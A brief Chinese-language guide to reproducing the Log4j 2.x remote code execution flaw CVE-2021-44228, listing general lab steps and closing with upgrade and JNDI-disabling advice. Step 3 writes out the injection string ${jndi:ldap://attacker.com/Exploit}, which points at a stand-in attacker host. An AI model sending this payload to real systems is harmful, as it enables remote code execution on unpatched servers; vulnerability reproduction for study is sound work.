cve-2021-44228漏洞复现

cve-2021-44228漏洞是Apache Log4j 2.x中的一个严重漏洞，可以导致远程代码执行。要复现该漏洞，需要使用恶意构造的日志消息来触发漏洞。

具体步骤如下：

1. 下载并安装Apache Log4j 2.x版本。

2. 创建一个Java程序，使用Log4j 2.x的API来记录日志。

3. 构造一个恶意的日志消息，其中包含一个特殊的字符序列，例如${jndi:ldap://attacker.com/Exploit}。

4. 将恶意的日志消息记录到日志中。

5. 启动应用程序并查看日志文件，如果存在漏洞，则会触发远程代码执行。

需要注意的是，该漏洞已经被广泛利用，因此建议尽快升级到最新版本的Apache Log4j 2.x，或者禁用Log4j 2.x的JNDI功能来缓解风险。